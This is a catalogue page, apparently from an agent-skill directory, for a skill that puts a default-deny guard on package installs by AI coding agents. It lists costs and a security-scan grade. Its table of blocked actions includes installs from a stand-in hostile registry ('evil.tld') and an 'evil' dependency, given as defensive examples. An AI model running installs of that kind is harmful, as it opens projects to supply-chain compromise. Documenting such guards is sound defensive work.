Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/quentincody/interlinked-cli/interlinked-supply-chainnpx skills add QuentinCody/interlinked-cli --skill interlinked-supply-chaingit clone --depth 1 https://github.com/QuentinCody/interlinked-cliWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00165 | $0.02375 |
| Opus 5 | $0.00082 | $0.01188 |
| Sonnet 5 | $0.00033 | $0.00475 |
| Haiku 4.5 | $0.00016 | $0.00237 |
Grade A, and why
interlinked-supply-chain scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 135 lines — stays where its author put it; the contents beside it link to each section on GitHub.
interlinked-supply-chain — package installs are default-deny
In an Interlinked-guarded repo, every package install is blocked before it runs unless the
exact package is pre-approved on .interlinked/package-allowlist.json. The stance: any new
dependency is potentially malicious (a response to the npm/PyPI malware surge). You cannot
install your way out, and you cannot silently self-approve. When blocked, the correct move is
almost always to surface the need to the human, not to force-approve.
Two independent requirements for an install to pass: (a) the name is allowlisted AND (b)
the version is an exact pin ([email protected]). An approved name at a floating version (lodash,
lodash@^4, lodash@latest) is still blocked — a range can resolve to a newer, compromised
release.
Load this when
- A package install was blocked with
[interlinked:supply-chain]. - Editing a manifest (
package.json,requirements.txt,pyproject.toml,Cargo.toml,go.mod,Gemfile,composer.json,*.csproj, …) to add a dep was refused. npm ci/ barenpm install/pip install -rfails a snapshot check.- You need to approve, snapshot, list, or verify allowlisted packages.
What gets blocked
| Action | Result | Why |
|---|---|---|
npm install left-pad (name not allowlisted) |
block | not approved |
npm install lodash / lodash@^4 / lodash@latest |
block | not an exact pin (range/tag) |
npm install [email protected] (allowlisted + pinned) |
allow | — |
npm install --registry https://evil.tld pkg / --index-url … |
block | custom registry bypasses signing |
npm install git+https://… / tarball URL / file: spec |
block | never auto-approved (bypasses registry) |
npm ci / bare npm install / pip install -r req.txt with no matching snapshot |
block | lockfile not snapshot-approved |
Edit package.json to add "evil": "^1" |
block | manifest-edit gate (a second, separate gate) |
npm uninstall x / version bump of an existing dep |
allow | nothing new enters |
npm install ./local-dir (local path) |
allow | in-workspace, version-controlled |
| install verb while the daemon is down | block (fail-closed) | a dead guard is a security failure |
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3d ago First seen · 135 lines · 165 tokens per session scan A 8b06f6ea648b
interlinked-supply-chain is a skill published in the GitHub repository QuentinCody/interlinked-cli (13 stars, last pushed 15d ago), licensed MIT. It adds 165 tokens to every session and 2,375 once invoked, about $0.0008 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
brainstorming
You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. Explores user intent, requirements and design before implementation.
auto-perf-optimize
Run agent-driven VS Code performance or memory investigations. Use when asked to launch Code OSS, automate a VS Code scenario, run the Chat memory smoke runner, capture renderer heap snapshots, take workflow screenshots, compare run summaries, or drive a repeatable scenario before heap-snapshot analysis.
chat-perf
Run chat perf benchmarks and memory leak checks against the local dev build or any published VS Code version. Use when investigating chat rendering regressions, validating perf-sensitive changes to chat UI, or checking for memory leaks in the chat response pipeline.
chat-pet-sprite-creation
Use when creating or changing VS Code chat pet sprite art, sprite sheets, state animations, eye treatments, Stable/Insiders variants, or pet transitions under src/vs/workbench/contrib/chat/browser/widget/media/chatPet.
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…